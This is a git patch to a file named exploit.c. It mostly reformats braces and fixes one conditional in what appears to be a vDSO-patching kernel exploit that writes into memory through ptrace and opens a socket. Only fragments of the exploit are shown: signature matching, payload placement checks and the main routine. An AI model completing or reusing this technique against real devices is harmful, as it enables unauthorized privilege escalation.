From e691637222cbc7d286feaa6aea698dd0e8ad196b Mon Sep 17 00:00:00 2001 From: Virgil Hou Date: Sat, 21 Jan 2017 18:01:18 +0800 Subject: [PATCH] style & fix --- exploit.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/exploit.c b/exploit.c index 48858eb..960ea62 100755 --- a/exploit.c +++ b/exploit.c @@ -114,7 +114,8 @@ ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n) errno = 0; value = ptrace(PTRACE_PEEKTEXT, pid, dest, NULL); - if (value == -1 && errno != 0) { + if (value == -1 && errno != 0) + { fprintf(stderr, "Syscall error: ptrace at line %d with code %d.\n", __LINE__, errno); exit(EXIT_FAILURE); @@ -187,12 +188,15 @@ match_entry(void *vdso_addr, const struct entry **entry) void *entry_point; int i; - for (i = 0; i < ARRAY_SIZE(entry_db); i++) { + for (i = 0; i < ARRAY_SIZE(entry_db); i++) + { e = &entry_db[i]; if ((entry_point = memmem(vdso_addr, VDSO_SIZE, e->s_pattern, e->s_size)) != 0) + { *entry = e; return entry_point - vdso_addr; + } } return 0; @@ -280,8 +284,10 @@ build_vdso_patch(void *vdso_addr, size_t target_offset, const struct entry *e) vdso_patch[0] = tmp0; dp = vdso_patch[0].offset + vdso_addr; - for (i = 0; i < payload_len; i++) { - if (dp[i] != '\x00') { + for (i = 0; i < payload_len; i++) + { + if (dp[i] != '\x00') + { fprintf(stderr, "Internal error: insufficient place " "for payload.\n"); exit(EXIT_FAILURE); @@ -573,7 +579,8 @@ main(int argc, char *argv[]) vdso_patch = build_vdso_patch(vdso_addr, target_offset, entry); - if (loc) { + if (loc) + { s = setup_socket(port); } @@ -583,7 +590,8 @@ main(int argc, char *argv[]) printf(">>> Please wake up you phone now.\n\n"); - if (loc) { + if (loc) + { term(s); } else